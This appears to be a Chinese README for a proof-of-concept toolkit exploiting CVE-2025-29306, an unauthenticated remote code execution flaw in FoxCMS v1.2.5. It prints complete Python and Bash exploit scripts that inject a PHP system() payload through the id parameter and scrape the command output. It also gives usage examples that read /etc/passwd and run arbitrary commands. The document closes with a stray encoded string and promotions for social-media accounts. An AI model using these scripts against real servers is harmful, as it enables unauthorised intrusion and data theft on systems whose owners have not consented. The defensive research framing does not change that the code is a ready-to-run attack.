项目标题与描述
本项目是针对 CVE-2025-29306 安全漏洞的概念验证(PoC)工具集。该漏洞影响 FoxCMS v1.2.5 及更早版本,允许攻击者通过/images/index.html端点中的id参数,利用 PHP 反序列化漏洞实现远程代码执行(RCE),无需任何身份验证即可在目标系统上执行任意命令。
项目包含两个独立的漏洞利用脚本:一个用 Python 编写,另一个用 Bash 编写,均能有效验证目标系统是否存在该高危漏洞。
功能特性
- 无认证远程代码执行:无需任何登录凭证即可在目标服务器上执行系统命令。
- 双语言实现:提供 Python 和 Bash 两种脚本,适应不同渗透测试环境。
- 精确输出解析:利用 XPath 定位 HTML 响应中的命令输出结果,提高结果准确性。
- 简单易用:只需提供目标 URL 和待执行的命令即可进行漏洞验证。
- 安全研究用途:专为安全研究人员、渗透测试人员和系统管理员设计,用于评估和防御该漏洞。
安装指南
Python 版本要求
系统要求:
- Python 3.6 或更高版本
- Linux/macOS/Windows(支持 Bash 的环境)
安装步骤:
- 克隆或下载本工具集到本地:
gitclone<repository-url>cdfoxcms-rce-poc- 安装必要的 Python 依赖:
pipinstallrequests lxml- (可选)为 Bash 版本安装必要的系统工具:
# 对于 Ubuntu/Debiansudoapt-getinstallcurlxmllint python3# 对于 CentOS/RHELsudoyuminstallcurllibxml2 python3依赖项:
- Python 版本:
requests、lxml - Bash 版本:
curl、xmllint、python3
使用说明
Python 版本使用示例
# 基本用法python3 CVE-2025-29306.py<目标URL>"<命令>"# 实际示例:检测系统信息python3 CVE-2025-29306.py http://example.com"id; uname -a"# 实际示例:列出目录内容python3 CVE-2025-29306.py http://vulnerable-site.com"ls -la /var/www"Bash 版本使用示例
# 基本用法./CVE-2025-29306.sh<目标URL>"<命令>"# 实际示例./CVE-2025-29306.sh http://example.com"cat /etc/passwd"API 概览
两个工具都接受相同的参数格式:
- 目标URL:存在漏洞的 FoxCMS 实例地址(如
http://192.168.1.100) - 命令:要在目标系统上执行的系统命令(如
"whoami")
执行流程:
- 工具将命令嵌入 PHP 反序列化载荷
- 发送特制请求到
/images/index.html端点 - 解析响应并提取命令执行结果
- 显示输出并报告漏洞状态
核心代码
Python 版本核心代码
#!/usr/bin/env python3""" PoC for CVE-2025-29306: Unauthenticated RCE in FoxCMS v1.2.5 Unsafe deserialization of 'id' param in /images/index.html leading to arbitrary command execution. Usage: python3 CVE-2025-29306.py <target_url> <command> Example: python3 CVE-2025-29306.py http://example.com "id; uname -a" Dependencies: requests, lxml """importsysimportrequestsfromurllib.parseimportquotefromlxmlimporthtmldefexploit(target_url,command):# 构造PHP载荷:${@print_r(@system("COMMAND"))} - 通过unserialize反序列化执行payload=f"${{@print_r(@system('{command}'))}}"encoded_payload=quote(payload,safe='')# 易受攻击的端点url=f"{target_url.rstrip('/')}/images/index.html?id={encoded_payload}"print(f"[*] Targeting:{url}")print(f"[*] Executing command:{command}")try:# 发送GET请求(无需认证)response=requests.get(url,timeout=10,verify=False)ifresponse.status_code!=200:print(f"[-] Unexpected status code:{response.status_code}")returnFalse# 解析HTML响应;根据漏洞详情输出反映在<header>下的<ul>中tree=html.fromstring(response.content)ul_elements=tree.xpath('/html/body/header/div[1]/div[2]/div[1]/ul/text()')ifnotul_elements:print("[-] No output found in expected XPath. Target may not be vulnerable or output hidden.")returnFalse# 清理并提取输出(去除标签/空白)output=' '.join([elem.strip()foreleminul_elementsifelem.strip()])ifoutput:print(f"[+] SUCCESS! Command Output:\n{output}")returnTrueelse:print("[-] Command executed but no output captured.")returnTrue# 如果响应被处理,仍然易受攻击exceptrequests.exceptions.RequestExceptionase:print(f"[-] Request failed:{e}")returnFalseexceptExceptionase:print(f"[-] Parsing error:{e}")returnFalseif__name__=="__main__":iflen(sys.argv)!=3:print("Usage: %s <target_url> <command>"%sys.argv[0])sys.exit(1)target=sys.argv[1]cmd=sys.argv[2]ifexploit(target,cmd):print("[+] Target is VULNERABLE to CVE-2025-29306!")else:print("[-] Exploit failed or target not vulnerable.")sys.exit(0)Bash 版本核心代码
#!/bin/bashbanner(){cat<<'EOF' ██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║ ██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║ ██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║ ██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ FoxCMS Remote Code Execution (CVE-2025-29306) EOF}# 调用横幅函数bannerset-e# 检查参数数量是否正确if["$#"-ne2];thenprintf"Usage:$0<url> <command>"exit1fiTARGET=$1# 编码载荷ENCODED_CMD=$(python3-c"import urllib.parse;print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))") FULL_URL="${TARGET}?id=${ENCODED_CMD}" echo "[*] Sending RCE payload: $2" HTML=$(curl -s "$FULL_URL") # 使用xmllint从已知XPath位置提取<ul>内容 UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null) # 去除标签,清理输出 CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')echoecho"[+] Command Output:"echo"$CLEANED"6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANCl1LoX+DdxvlKlOyiHl/4
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)